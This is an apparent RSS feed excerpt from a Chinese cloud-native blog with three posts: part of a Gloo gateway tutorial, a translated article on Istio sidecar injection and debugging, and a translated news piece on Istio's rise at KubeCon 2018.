&lt;p&gt;按照后续指引完成之后，就安装好了 glooctl 的客户端了，接下来是部署 Gloo：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ glooctl install kube

$ kubectl get po -n gloo-system
NAME                            READY   STATUS    RESTARTS   AGE
discovery-78bb6fff4c-86t9c      1/1     Running   0          1m
gateway-6bc69b9cdc-4cgpv        1/1     Running   0          1m
gateway-proxy-bd895c6db-pxk8q   1/1     Running   0          1m
gloo-7588c6d774-25z5f           1/1     Running   0          1m

$ kubectl get svc -n gloo-system
NAME            TYPE           CLUSTER-IP       EXTERNAL-IP      PORT(S)          AGE
gateway-proxy   LoadBalancer   10.245.237.65    203.129.214.16   8080:30859/TCP   1m
gloo            ClusterIP      10.245.194.168   &amp;lt;none&amp;gt;           9977/TCP         1m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样 Gloo 就成功启动并运行了。&lt;/p&gt;

&lt;h3 id=&#34;部署-kubernetes-应用&#34;&gt;部署 Kubernetes 应用&lt;/h3&gt;

&lt;p&gt;首先部署我们的老朋友 httpbin：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;
$ kubectl create deployment httpbin --image=citizenstig/httpbin
deployment.apps/httpbin created
$ kubectl expose deploy httpbin --name=httpbin --port 8000 --selector=&amp;quot;app=httpbin&amp;quot;
service/httpbin exposed
$ kubectl get svc httpbin
NAME      TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
httpbin   ClusterIP   10.245.47.195   &amp;lt;none&amp;gt;        8000/TCP   1m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;服务已经成功建立，是缺省的 ClusterIP 类型。&lt;/p&gt;

&lt;h2 id=&#34;通过-gloo-提供对外服务&#34;&gt;通过 Gloo 提供对外服务&lt;/h2&gt;

&lt;p&gt;我们希望通过 &lt;code&gt;http://[service-ip]/httpbin/&lt;/code&gt; 的形式，透过 Gloo 的负载均衡服务，对外开放 httpbin 的 API。在 Gloo 中首先通过其发现服务，查找系统中可用的 Upstream：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ glooctl get upstreams

+--------------------------------+------------+----------+------------------------------+
|            UPSTREAM            |    TYPE    |  STATUS  |           DETAILS            |
+--------------------------------+------------+----------+------------------------------+
| default-httpbin-8000           | Kubernetes | Accepted | svc name:      httpbin       |
|                                |            |          | svc namespace: default       |
|                                |            |          | port:          8000          |
......
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，Gloo 使用 Kubernetes Service 创建了 Upstream；&lt;code&gt;default-httpbin-8000&lt;/code&gt;。可以使用 &lt;code&gt;glooctl get upstream default-httpbin-8000 -o yaml&lt;/code&gt; 获取其定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;discoveryMetadata: {}
metadata:
  labels:
    app: httpbin
    discovered_by: kubernetesplugin
  name: default-httpbin-8000
  namespace: gloo-system
  resourceVersion: &amp;quot;13678&amp;quot;
status:
  reportedBy: gloo
  state: Accepted
upstreamSpec:
  kube:
    selector:
      app: httpbin
    serviceName: httpbin
    serviceNamespace: default
    servicePort: 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来为服务创建一个 &lt;code&gt;httpbin&lt;/code&gt; 路径：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ glooctl add route \
  --path-prefix /httpbin \
  --dest-name default-httpbin-8000 \
  --prefix-rewrite /
selected virtualservice default for route
+-----------------+---------+------+----------+---------+--------------------------------+
| VIRTUAL SERVICE | DOMAINS | SSL  |  STATUS  | PLUGINS |             ROUTES             |
+-----------------+---------+------+----------+---------+--------------------------------+
| default         | *       | none | Accepted |         | /httpbin -&amp;gt;                    |
|                 |         |      |          |         | default-httpbin-8000           |
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，为了创建这个路由规则，首先创建了缺省的虚拟服务。&lt;/p&gt;

&lt;h2 id=&#34;测试服务&#34;&gt;测试服务&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ export GATEWAY_URL=$(glooctl gateway url)
$ curl ${GATEWAY_URL}/httpbin/get
{
  &amp;quot;args&amp;quot;: {},
  &amp;quot;headers&amp;quot;: {
    &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;,
    &amp;quot;Content-Length&amp;quot;: &amp;quot;0&amp;quot;,
    &amp;quot;Host&amp;quot;: &amp;quot;206.189.254.16:8080&amp;quot;,
    &amp;quot;User-Agent&amp;quot;: &amp;quot;curl/7.54.0&amp;quot;,
    &amp;quot;X-Envoy-Expected-Rq-Timeout-Ms&amp;quot;: &amp;quot;15000&amp;quot;,
    &amp;quot;X-Envoy-Original-Path&amp;quot;: &amp;quot;/httpbin/get&amp;quot;,
    &amp;quot;X-Request-Id&amp;quot;: &amp;quot;1bb19f60-57c9-43aa-b78a-1cd556cc5800&amp;quot;
  },
  &amp;quot;origin&amp;quot;: &amp;quot;10.244.93.3&amp;quot;,
  &amp;quot;url&amp;quot;: &amp;quot;http://206.189.254.16:8080/get&amp;quot;
}
$ curl ${GATEWAY_URL}/httpbin/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;10.244.93.3&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，我们成功得到了想要的路径映射。&lt;/p&gt;

&lt;h2 id=&#34;为-lambda-创建-upstream&#34;&gt;为 Lambda 创建 Upstream&lt;/h2&gt;

&lt;p&gt;Lambda 是不会被自动发现的，因此我们要手工创建，这里采用交互式的方法：&lt;/p&gt;

&lt;h3 id=&#34;创建-secret&#34;&gt;创建 Secret&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;glooctl create secret aws -i
? Please choose a namespace gloo-system
? name of secret aws
? Enter AWS Access Key ID (leave empty to read credentials from ~/.aws/credentials):  ...
? Enter AWS Secret Key (leave empty to read credentials from ~/.aws/credentials):  ...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;创建-upstream&#34;&gt;创建 Upstream&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ glooctl create upstream -i
? What type of Upstream do you want to create? aws
? What region are the AWS services in for this upstream? us-east-2
? Choose an AWS credentials secret to link to this upstream:  gloo-system.aws
? namespace: gloo-system
? name: hello-lambda
+--------------+------+----------+-------------------------+
|   UPSTREAM   | TYPE |  STATUS  |         DETAILS         |
+--------------+------+----------+-------------------------+
| hello-lambda | AWS  | Accepted | region: us-east-2       |
|              |      |          | secret: gloo-system.aws |
|              |      |          |                         |
+--------------+------+----------+-------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;为-lambda-创建-route&#34;&gt;为 Lambda 创建 Route&lt;/h3&gt;

&lt;p&gt;接下来为服务创建一个 &lt;code&gt;httpbin&lt;/code&gt; 路径：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ glooctl add route \
  --path-prefix /lambda \
  --dest-name hello-lambda \
  --function hello-world:1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次成功创建之后，调用新生成的 &lt;code&gt;/lambda&lt;/code&gt;，&lt;strong&gt;并未成功&lt;/strong&gt;。&lt;/p&gt;

&lt;h2 id=&#34;为-azure-function-app-创建-route&#34;&gt;为 Azure function app 创建 Route&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;目前并不支持 Azure Secret 的创建。&lt;/strong&gt;，所以就连 Upstream 也无法开始了。&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;梦想很丰满。。参看视频：&lt;/p&gt;


&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
  &lt;iframe src=&#34;https://www.youtube.com/embed/ISR3G0CAZM0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; allowfullscreen title=&#34;YouTube Video&#34;&gt;&lt;/iframe&gt;
&lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>深入浅出 Istio</title>
      <link>/publication/9787121359644/</link>
      <pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate>
      <guid>/publication/9787121359644/</guid>
      <description></description>
    </item>
    
    <item>
      <title>Istio Sidecar 注入：例外和除错</title>
      <link>/post/istio-sidecar-injection/</link>
      <pubDate>Tue, 18 Dec 2018 10:30:27 +0800</pubDate>
      <guid>/post/istio-sidecar-injection/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://bani.com.br/2018/09/istio-sidecar-injection-enabling-automatic-injection-adding-exceptions-and-debugging/&#34; target=&#34;_blank&#34;&gt;Istio sidecar injection: enabling automatic injection, adding exceptions and debugging&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/jwendell&#34; target=&#34;_blank&#34;&gt;Jonh Wendell&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 环境下的 Istio 使用了 Sidecar 模型进行部署，把一个辅助容器（也就是 Sidecar）附加到业务 Pod 之中。这一过程让 Sidecar 容器和业务容器共享同样的网络栈，可以视为同一主机上的两个进程。这样一来，Istio 就能够接管业务应用的所有网络调用，就有了增强服务间通信能力的基础。&lt;/p&gt;

&lt;p&gt;这个 Sidecar 容器命名为 &lt;code&gt;istio-proxy&lt;/code&gt;，能够用手工或者自动方式进行注入。其实这个手工注入也不是 100% 徒手完成的。&lt;/p&gt;

&lt;h2 id=&#34;手工注入&#34;&gt;手工注入&lt;/h2&gt;

&lt;p&gt;Istio 的发行版本中会带有一个 &lt;code&gt;istioctl&lt;/code&gt; 工具。看名字就知道这工具很棒：）。它的一个能力就是把 &lt;code&gt;istio-proxy&lt;/code&gt; Sidecar 注入到业务容器之中。我们可以用一个简单的 &lt;code&gt;busybox&lt;/code&gt; Pod 来看看它的功能：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cat busybox.yaml

apiVersion: v1
kind: Pod
metadata:
  name: busybox-test
spec:
  containers:
  - name: busybox-container
    image: busybox
    command: [&#39;sh&#39;, &#39;-c&#39;, &#39;echo Hello Kubernetes! &amp;amp;&amp;amp; sleep infinity&#39;]

$ istioctl kube-inject -f busybox.yaml &amp;gt; busybox-injected.yaml
$ cat busybox-injected.yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
  name: busybox-test
spec:
  containers:
  - command:
    - sh
    - -c
    - echo Hello Kubernetes! &amp;amp;&amp;amp; sleep infinity
    image: busybox
    name: busybox-container

  - image: docker.io/istio/proxyv2:1.0.2
    imagePullPolicy: IfNotPresent
    name: istio-proxy
    args:
      - proxy
      - sidecar
   ...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上文可见，这个命令生成了一个 YAML 文件，和原始文件有点像，但是 Pod 中加入了一个 Sidecar（istio-proxy）。这的确不是纯手工吧——至少让我们少打了不少字。然后就可以使用 &lt;code&gt;kubectl apply&lt;/code&gt; 命令把这个修改后的文件提交给 Kubernetes 集群了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ kubectl apply -f busybox-injected.yaml
# 如果不想生成中间文件，可以直接用管道完成全部操作。
$ kubectl apply -f &amp;lt;(istioctl kube-inject -f busybox.yaml)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;随之而来的一个问题就是：这些数据是哪来的？它怎么知道 Sidecar 镜像是 &lt;code&gt;docker.io/istio/proxyv2:1.0.2&lt;/code&gt; 的？答案很简单：所有数据都来自于一个 ConfigMap，这个对象保存在 &lt;code&gt;istio-system&lt;/code&gt; 命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl -n istio-system describe configmap istio-sidecar-injector
Name:         istio-sidecar-injector
Namespace:    istio-system
 
Data
====
config:
----
policy: enabled
template: |-
  initContainers:
  - name: istio-init
    image: &amp;quot;docker.io/istio/proxy_init:1.0.2&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以对这个 ConfigMap 进行编辑，修改一些你需要的值，用来进行注入。不难发现，这主要是一个用于向 Pod 加入内容的模板。如果想要为 &lt;code&gt;istio-proxy&lt;/code&gt; 容器使用其它对象，只要修改这个字段的内容就可以了，或者还可以调整任何其它要注入的东西。这个 ConfigMap 是用来完成网格中所有 Pod 的注入工作的，所以要小心从事。&lt;/p&gt;

&lt;p&gt;因为 &lt;code&gt;istioctl&lt;/code&gt; 要根据 ConfigMap 来获知注入内容，也就是说执行 &lt;code&gt;istioctl&lt;/code&gt; 的用户必须能够访问到安装了 Istio 的 Kubernetes 集群的这一对象。如果因为某些原因无法访问到这一 ConfigMap，还可以在 &lt;code&gt;istioctl&lt;/code&gt; 中使用一个本地的配置文件。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# 首先使用有权限的用户运行这一命令
$ kubectl -n istio-system get configmap istio-sidecar-injector -o=jsonpath=&#39;{.data.config}&#39; &amp;gt; inject-config.yaml
# 这个文件可以随时进行任意修改。
$ istioctl kube-inject --injectConfigFile inject-config.yaml ...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;自动注入&#34;&gt;自动注入&lt;/h2&gt;

&lt;p&gt;注入 &lt;code&gt;istio-proxy&lt;/code&gt; 还有另一个方式，就是要求 Istio 进行自动注入。为命名空间设置标签 istio-injection=enabled 就能满足这一需要了。如果命名空间加上了这个标签，所有其中的 Pod 都会被注入 &lt;code&gt;istio-proxy&lt;/code&gt; Sidecar，也就无需手工执行 &lt;code&gt;istioctl&lt;/code&gt; 处理 YAML 文件了。&lt;/p&gt;

&lt;p&gt;工作方式很简单：它使用了 Kubernetes 的 &lt;code&gt;MutatingWebhook&lt;/code&gt;，新 Pod 创建之前，这一功能会通知 Istio，让 Istio 有机会对新 Pod 进行就地修改，stio 会使用在 ConfigMap 中的模板把 &lt;code&gt;istio-proxy&lt;/code&gt; 注入到 Pod 中。&lt;/p&gt;

&lt;h2 id=&#34;看起来不错&#34;&gt;看起来不错？&lt;/h2&gt;

&lt;p&gt;自动注入过程有很大的弹性：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;istio-sidecar-injector&lt;/code&gt; ConfigMap 中有一个布尔值用来指定自动注入是否启用。&lt;/li&gt;
&lt;li&gt;只有使用标签进行标注的命名空间才会进行自动注入，也就是说用命名空间标签能够对自动注入进行控制。&lt;/li&gt;
&lt;li&gt;还可以使用 &lt;code&gt;kubectl -n istio-system edit MutatingWebhookConfiguration istio-sidecar-injector&lt;/code&gt; 命令，修改其中的 &lt;code&gt;namespaceSelector&lt;/code&gt; 字段来调整这个标签的用法，甚至移除这个限制（也就是为所有命名空间使用自动注入，慎用）。&lt;/li&gt;
&lt;li&gt;可以禁用特定 Pod 的自动注入。如果 Pod 包含注解 &lt;code&gt;sidecar.istio.io/inject: &amp;quot;false&amp;quot;&lt;/code&gt;，Istio 就不会为在这一 Pod 中注入 Sidecar。&lt;/li&gt;
&lt;li&gt;还有更保守的方式：只对选择的 Pod 进行注入——也就是白名单方式。设置策略为 false（&lt;code&gt;kubectl -n istio-system edit configmap istio-sidecar-injector&lt;/code&gt;），只对包含注解 &lt;code&gt;sidecar.istio.io/inject: &amp;quot;true&amp;quot;&lt;/code&gt; 进行注入。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;想要更大弹性&#34;&gt;想要更大弹性？&lt;/h2&gt;

&lt;p&gt;还有些上面提到的方法无法满足的弹性要求：&lt;/p&gt;

&lt;p&gt;如果不熟悉 Openshift 的用户，它有一个功能叫做 &lt;code&gt;source-to-image&lt;/code&gt;（代码到镜像，&lt;code&gt;s2i&lt;/code&gt;），这一功能会将代码构建为容器镜像。提供一个 git 仓库作为输入（支持多种语言），就会输出镜像并运行到 Openshift 集群上。&lt;/p&gt;

&lt;p&gt;这是一个神奇的功能。这里不会介绍很多细节，我只会告诉你本文中需要了解的事情：在这一过程中 Openshift 会创建一或更多个的用于进行构建的中间、辅助 Pod。构建过程结束之后，二进制工件被构建为容器镜像，而辅助 Pod 会被销毁。&lt;/p&gt;

&lt;p&gt;如果我们为指定命名空间启用了自动注入，并使用 Openshift 的 s2i 功能，会让这些辅助 Pod 也被注入 Sidecar，这些 Pod 是 Openshift 创建的，我们无法对其进行注解以阻止 Sidecar 的注入。辅助 Pod 无需进行注入，怎么办呢？&lt;/p&gt;

&lt;p&gt;一个可能的解决方法就是用上面提到的保守方案，只对特定 Pod 启用注入，但是就要对 Pod 进行特别的注解。还有别的方式。&lt;/p&gt;

&lt;h3 id=&#34;新方案&#34;&gt;新方案&lt;/h3&gt;

&lt;p&gt;1.1.0 中，Istio 自动注入可以根据标签进行例外设置：不管命名空间标签如何，策略如何设置，对符合标签选择器要求的 Pod 都不进行注入。可以在 &lt;code&gt;istio-sidecar-injector&lt;/code&gt; 中加入例外设置。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl -n istio-system describe configmap istio-sidecar-injector
apiVersion: v1
kind: ConfigMap
metadata:
  name: istio-sidecar-injector
data:
  config: |-
    policy: enabled
    neverInjectSelector:
      - matchExpressions:
        - {key: openshift.io/build.name, operator: Exists}
      - matchExpressions:
        - {key: openshift.io/deployer-pod-for.name, operator: Exists}
    template: |-
      initContainers:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到上面的 &lt;code&gt;neverInjectSelector&lt;/code&gt; 字段，它是一个 Kubernetes 标签选择器的数组。不同元素之间是“或”关系，第一次发现有符合条件的标签之后就会跳过其它判断。上面的语句意味着：包含 &lt;code&gt;openshift.io/build.name&lt;/code&gt; 或者 &lt;code&gt;openshift.io/deployer-pod-for.name&lt;/code&gt; 标签的 Pod，不管标签值如何，都不会进行注入。&lt;/p&gt;

&lt;p&gt;为了完整性起见，可以使用 &lt;code&gt;alwaysInjectSelector&lt;/code&gt; 字段，这个字段会无视全局策略，向符合条件的 Pod 进行注入。&lt;/p&gt;

&lt;p&gt;标签选择器方式产生了很大的弹性，能够处理更多的例外情况。阅读 &lt;a href=&#34;https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#resources-that-support-set-based-requirements&#34; target=&#34;_blank&#34;&gt;Kubernetes 文档&lt;/a&gt;可以了解更多这方面的内容。&lt;/p&gt;

&lt;p&gt;值得注意的是，Pod 注解还是有更高的优先级，如果 Pod 注解包含了 &lt;code&gt;sidecar.istio.io/inject: &amp;quot;true/false&amp;quot;&lt;/code&gt;，会被优先处理，所以自动注入的评估顺序是：&lt;/p&gt;

&lt;p&gt;Pod 注解 → NeverInjectSelector → AlwaysInjectSelector → 命名空间策略。&lt;/p&gt;

&lt;p&gt;注入选择器是新特性，这方面的文档还在更新，但是其它部分的文档和例子，都可以在&lt;a href=&#34;https://istio.io/docs/setup/kubernetes/sidecar-injection/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;中查看。&lt;/p&gt;

&lt;h2 id=&#34;pod-为什么没注入&#34;&gt;Pod 为什么没注入？&lt;/h2&gt;

&lt;p&gt;这是个常见问题。按照前面的介绍（例如给命名空间打标签）进行操作，结果 Pod 还没有被注入。&lt;/p&gt;

&lt;p&gt;或者刚好相反，Pod 明明注解为 &lt;code&gt;sidecar.istio.io/inject: &amp;quot;false&lt;/code&gt;，还是被注入了，为什么？&lt;/p&gt;

&lt;p&gt;可以看看 &lt;code&gt;sidecar-injector&lt;/code&gt; Pod 的日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ pod=$(kubectl -n istio-system get pods -l istio=sidecar-injector -o jsonpath=&#39;{.items[0].metadata.name}&#39;)
$ kubectl -n istio-system logs -f $pod
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后可以创建业务 Pod，看看日志输出的具体内容。要看到更详细的日志（经常会很有用），可以编辑 &lt;code&gt;sidecar-injector&lt;/code&gt; Deployment 对象，给它加上参数 &lt;code&gt;--log_output_level=default:debug&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl -n istio-system edit deployment istio-sidecar-injector
...
      containers:
      - args:
        - --caCertFile=/etc/istio/certs/root-cert.pem
        - --tlsCertFile=/etc/istio/certs/cert-chain.pem
        - --tlsKeyFile=/etc/istio/certs/key.pem
        - --injectConfig=/etc/istio/inject/config
        - --meshConfig=/etc/istio/config/mesh
        - --healthCheckInterval=2s
        - --healthCheckFile=/health
        - --log_output_level=default:debug
        image: docker.io/istio/sidecar_injector:1.0.2
        imagePullPolicy: IfNotPresent
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;编辑成功之后 Pod 会重启，完成之后就可以重新查看日志了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ pod=$(kubectl -n istio-system get pods -l istio=sidecar-injector -o jsonpath=&#39;{.items[0].metadata.name}&#39;)
$ kubectl -n istio-system logs -f $pod
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;提示&#34;&gt;提示&lt;/h3&gt;

&lt;p&gt;如果在日志中还是找不到问题原因，就代表 &lt;code&gt;sidecar-injector&lt;/code&gt; Pod 没有收到 Pod 创建的通知，也就不会触发自动注入的操作。这可能是因为命名空间没有正确标签导致的，因此需要检查一下命名空间的标签以及 &lt;code&gt;MutatingWebhookConfiguration&lt;/code&gt; 中的配置。缺省情况下，命名空间应该设置 &lt;code&gt;istio-injection=enabled&lt;/code&gt; 标签。可以使用 &lt;code&gt;kubectl -n istio-system edit MutatingWebhookConfiguration istio-sidecar-injector&lt;/code&gt; 命令检查其中的 &lt;code&gt;namespaceSelector&lt;/code&gt; 字段内容。&lt;/p&gt;

&lt;p&gt;完成排查之后，可以再次编辑 &lt;code&gt;sidecar-injector&lt;/code&gt; Deployment 对象，清除新加入的参数。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>大闹 KubeCon：Istio 已成 Cloud Native 新宠？</title>
      <link>/post/has-istio-become-the-new-cn-darling/</link>
      <pubDate>Fri, 14 Dec 2018 17:44:01 +0800</pubDate>
      <guid>/post/has-istio-become-the-new-cn-darling/</guid>
      <description>&lt;p&gt;原文：&lt;a href=&#34;https://www.geekwire.com/2018/kubecon-week-istio-become-new-cloud-native-darling/&#34; target=&#34;_blank&#34;&gt;Crashing KubeCon: Has Istio become the new cloud-native darling?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/tomkrazit&#34; target=&#34;_blank&#34;&gt;Tom Krazit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这是非比寻常的一年。&lt;/p&gt;

&lt;p&gt;过去几年里，Kubernetes 已经成为云计算领域中最重要的开源项目，&lt;a href=&#34;https://events.linuxfoundation.org/events/kubecon-cloudnativecon-north-america-2018/&#34; target=&#34;_blank&#34;&gt;2018 年的北美 Kubecon&lt;/a&gt; 吸引了 8000 多人聚集在西雅图，比去年的&lt;a href=&#34;https://www.geekwire.com/2017/kubernetes-2018-going-gets-good-good-get-boring/&#34; target=&#34;_blank&#34;&gt;奥斯丁&lt;/a&gt;多出了一倍多。但是不少公司都推出了基于 Istio 的托管服务，容器编排项目在本次 &lt;a href=&#34;https://events.linuxfoundation.org/events/kubecon-cloudnativecon-north-america-2018/&#34; target=&#34;_blank&#34;&gt;KubeCon&lt;/a&gt; 上的热度大受影响。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://www.geekwire.com/2017/kubernetes-matures-cloud-native-movement-turns-attention-service-mesh/&#34; target=&#34;_blank&#34;&gt;随着 Kubernetes 的成熟，云原生的注意力开始转向了服务网格&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Google 计划周二在 KubeCon 上宣布，服务网格技术的标志性产品——&lt;a href=&#34;https://istio.io/&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt;，现已在谷歌云上提供了测试版的托管服务，VMware 和 F5 也在本周介绍了各自的 Istio 托管服务，波特兰的 Twistlock 在周一宣布，该公司的旗舰产品已经提供了对 Istio 的支持。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.geekwire.com/2017/ibm-google-lyft-team-open-source-project-control-microservices/&#34; target=&#34;_blank&#34;&gt;Istio 是一个由 Google、IBM 和 Lyft 合作开发的开源项目&lt;/a&gt;，为开发&lt;a href=&#34;(https://www.geekwire.com/2018/google-doubles-service-mesh-hybrid-cloud-kicks-off-big-cloud-event/)&#34; target=&#34;_blank&#34;&gt;微服务应用&lt;/a&gt;的公司提供帮助，来应对微服务架构所引发的网络复杂性问题。它能够控制构成应用的服务之间的流量，还增强了微服务的安全性和可见性。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.geekwire.com/2017/seattles-pitchbook-making-multiyear-infrastructure-shift-microservices-speed-kills/&#34; target=&#34;_blank&#34;&gt;微服务让公司可以将服务拆分&lt;/a&gt;成为更小的更专门的代码，这些拆分出来的单元能够根据需求进行独立的调整和更新。过去的单体应用的代码是一个大的整体，这种架构对很多类型的应来说都是好的；但如果按照现代分布式应用的要求进行快速更新的话，这种应用就存在很大风险了。&lt;/p&gt;

&lt;p&gt;Jennifer Lin 是 Google 云的工程主管，她说“我们很多银行客户说，希望能够更快的开发移动版的银行应用，但也不想让安全和监控方面的功能滞后实现”。&lt;/p&gt;

&lt;p&gt;去年十一月的一个采访中，Google 的 &lt;a href=&#34;https://www.geekwire.com/2017/googles-urs-holzle-still-thinks-cloud-revenue-will-catch-ad-revenue-maybe-not-2020/&#34; target=&#34;_blank&#34;&gt;Urs Hölzle 说&lt;/a&gt;，Istio 可能会比 Kubernetes 本身更加重要。一个月后，奥斯丁的 KubeCon 2017 上就可以清晰的觉察到，在 Kubernetes 成为容器编排界的实施标准之后，&lt;a href=&#34;https://www.geekwire.com/2017/kubernetes-matures-cloud-native-movement-turns-attention-service-mesh/&#34; target=&#34;_blank&#34;&gt;服务网格正在成为下一个重要领域&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;Lin 说：“从我们的客户和合作伙伴获知，正在开发的应用，90% 都是以容器化微服务的方式实现的”。&lt;/p&gt;

&lt;p&gt;但是，尽管谷歌和 IBM 希望 Istio 能成为服务网格世界中的 Kubernetes，包括一些顶级公司在内的开发和运维人员都对 Istio 这种自上而下的方法提出了抱怨——又是一个事实标准。&lt;/p&gt;

&lt;p&gt;Istio 是一个控制平面，它建立在数据面的基础之上——正如 Kubernetes 是 Docker 容器的控制面一样。Istio 和 &lt;a href=&#34;https://www.envoyproxy.io/&#34; target=&#34;_blank&#34;&gt;Envoy&lt;/a&gt; 有着紧密的联系，这个来自 Lyft 的数据平面是一个 CNCF 成员项目，其中已经包含了一些用于管理服务网格的方法。&lt;/p&gt;

&lt;p&gt;去年，两个前 Twitter 工程师建立了 Buoyant，这个创业公司的 Linkerd 数据平面也是 CNCF 成员，还是 KubeCon 的赞助商。&lt;a href=&#34;https://techcrunch.com/2018/12/10/solo-io-raises-11m-to-help-enterprises-adopt-cloud-native-technologies/&#34; target=&#34;_blank&#34;&gt;Solo.io&lt;/a&gt;在本周破土而出，其 Gloo 产品获得了 Redpoint Ventures 和 True Ventures的 1100 万美元投资，该产品也是在 Envoy 的基础上运行的，用于协调微服务之间以及其它云原生工具之间的流量。&lt;/p&gt;

&lt;p&gt;HashiCorp 的 Consul 产品也刚刚获得了一亿美元的投入，用于推进服务网格方面的技术工作。AWS 这只巨兽，也在 re:Invent 2018 会议上&lt;a href=&#34;https://aws.amazon.com/blogs/compute/introducing-aws-app-mesh-service-mesh-for-microservices-on-aws/&#34; target=&#34;_blank&#34;&gt;发布了基于 Envoy 的服务网格产品&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;Istio 的优势是，它可以管理用户选择的任何数据平面用于完成微服务之间的连接，包括 Envoy、Linkerd 或者其它，对于使用 Kubernetes 进行容器管理的用户来说，Istio 是个非常友好的产品。然而在 KubeCon 的鸡尾酒会上给人一种感觉，多数企业计算客户仍然在追赶云计算时代，微服务还为时尚早。&lt;/p&gt;

&lt;p&gt;正如 &lt;a href=&#34;https://techcrunch.com/2015/07/21/as-kubernetes-hits-1-0-google-donates-technology-to-newly-formed-cloud-native-computing-foundation-with-ibm-intel-twitter-and-others/&#34; target=&#34;_blank&#34;&gt;2015 年的 Kubernetes&lt;/a&gt;，像 Google 这样的大型网络运营商在提供分布式微服务时所面临的问题，并不是随处可见的，因此 Istio 的优势可能还要几年才能得以显现。但是如果更多公司开支考虑&lt;a href=&#34;https://www.geekwire.com/2018/travel-giant-sabre-bets-big-multicloud-signing-new-deal-microsoft-azure-weeks-new-deal-amazon-web-services/&#34; target=&#34;_blank&#34;&gt;跨供应商的多云方案&lt;/a&gt;，Istio 可能因为在这一进程中起到重要作用而得以加速推广。&lt;/p&gt;

&lt;p&gt;另外一个 AWS 或者微软这样的主流云供应商，如果提供了托管 Istio 服务来和 Google 对抗，就意味着服务网格时代真的到来了。这两个公有云巨头在 2017 年刚刚开始提供托管的 Kubernetes 服务，代表着这一项目已经打败众多对手，并且成为这方面的实际标准。&lt;/p&gt;

&lt;p&gt;推广 Istio 是对公司推动的开源项目的市场能力的一个有趣测试，&lt;a href=&#34;https://www.geekwire.com/2018/open-source-companies-considering-closed-approach/&#34; target=&#34;_blank&#34;&gt;这一主题还会保持热度&lt;/a&gt;，如果可能的话，注册一个 IstioCon 商标吧。&lt;/p&gt;
